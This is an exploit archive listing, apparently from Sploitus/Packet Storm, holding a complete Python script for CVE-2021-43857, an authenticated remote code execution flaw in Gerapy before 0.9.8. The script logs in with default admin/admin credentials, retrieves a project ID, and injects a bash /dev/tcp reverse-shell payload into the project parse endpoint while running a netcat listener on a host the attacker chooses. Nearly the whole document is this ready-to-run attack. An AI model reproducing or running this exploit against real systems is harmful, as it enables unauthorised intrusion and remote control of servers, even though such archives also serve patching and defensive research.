Share
## https://sploitus.com/exploit?id=PACKETSTORM:165459
# Exploit Title: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)  
# Date: 03/01/2022  
# Exploit Author: Jeremiasz Pluta  
# Vendor Homepage: https://github.com/Gerapy/Gerapy  
# Version: All versions of Gerapy prior to 0.9.8  
# CVE: CVE-2021-43857  
# Tested on: Gerapy 0.9.6  
  
# Vulnerability: Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.  
  
#!/usr/bin/python  
import sys  
import re  
import argparse  
import pyfiglet  
import requests  
import time  
import json  
import subprocess  
  
banner = pyfiglet.figlet_format("CVE-2021-43857")  
print(banner)  
print('Exploit for CVE-2021-43857')  
print('For: Gerapy < 0.9.8')  
  
login = "admin" #CHANGE ME IF NEEDED  
password = "admin" #CHANGE ME IF NEEDED  
  
class Exploit:  
  
def __init__(self, target_ip, target_port, localhost, localport):  
self.target_ip = target_ip  
self.target_port = target_port  
self.localhost = localhost  
self.localport = localport  
  
def exploitation(self):  
payload = """{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/""" + localhost + """/""" + localport + """ 0>&1'`"}"""  
  
#Login to the app (getting auth token)  
url = "http://" + target_ip + ":" + target_port  
r = requests.Session()  
print("[*] Resolving URL...")  
r1 = r.get(url)  
time.sleep(3)  
print("[*] Logging in to application...")  
r2 = r.post(url + "/api/user/auth", json={"username":login,"password":password}, allow_redirects=True)  
time.sleep(3)  
if (r2.status_code == 200):  
print('[*] Login successful! Proceeding...')  
else:  
print('[*] Something went wrong!')  
quit()  
  
#Create a header out of auth token (yep, it's bad as it looks)  
dict = json.loads(r2.text)  
temp_token = 'Token '  
temp_token2 = json.dumps(dict['token']).strip('"')  
auth_token = {}  
auth_token['Authorization'] = temp_token + temp_token2  
  
#Get the project list  
print("[*] Getting the project list")  
r3 = r.get(url + "/api/project/index", headers=auth_token, allow_redirects=True)  
time.sleep(3)  
  
if (r3.status_code != 200):  
print("[!] Something went wrong! Maybe the token is corrupted?")  
quit();  
  
#Parse the project name for a request (yep, it's worse than earlier)  
dict = r3.text # [{'name': 'test'}]  
dict2 = json.dumps(dict)  
dict3 = json.loads(dict2)  
dict3 = json.loads(dict3)  
name = dict3[0]['name']  
print("[*] Found project: " + name)  
  
#use the id to check the project  
print("[*] Getting the ID of the project to build the URL")  
r4 = r.get(url + "/api/project/" + name + "/build", headers=auth_token, allow_redirects=True)  
time.sleep(3)  
if (r4.status_code != 200):  
print("[*] Something went wrong! I can't reach the found project!")  
quit();  
  
#format the json to dict  
dict = r4.text  
dict2 = json.dumps(dict)  
dict3 = json.loads(dict2)  
dict3 = json.loads(dict3)  
id = dict3['id']  
print("[*] Found ID of the project: ", id)  
time.sleep(1)  
  
#netcat listener  
print("[*] Setting up a netcat listener")  
listener = subprocess.Popen(["nc", "-nvlp", self.localport])  
time.sleep(3)  
  
#exec the payload  
print("[*] Executing reverse shell payload")  
print("[*] Watchout for shell! :)")  
r5 = r.post(url + "/api/project/" + str(id) + "/parse", data=payload, headers=auth_token, allow_redirects=True)  
listener.wait()  
  
if (r5.status_code == 200):  
print("[*] It worked!")  
listener.wait()  
else:  
print("[!] Something went wrong!")  
listener.terminate()  
  
def get_args():  
parser = argparse.ArgumentParser(description='Gerapy < 0.9.8 - Remote Code Execution (RCE) (Authenticated)')  
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')  
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')  
parser.add_argument('-L', '--lh', dest="localhost", required=True, action='store', help='Listening IP')  
parser.add_argument('-P', '--lp', dest="localport", required=True, action='store', help='Listening port')  
args = parser.parse_args()  
return args  
  
args = get_args()  
target_ip = args.url  
target_port = args.target_port  
localhost = args.localhost  
localport = args.localport  
  
exp = Exploit(target_ip, target_port, localhost, localport)  
exp.exploitation()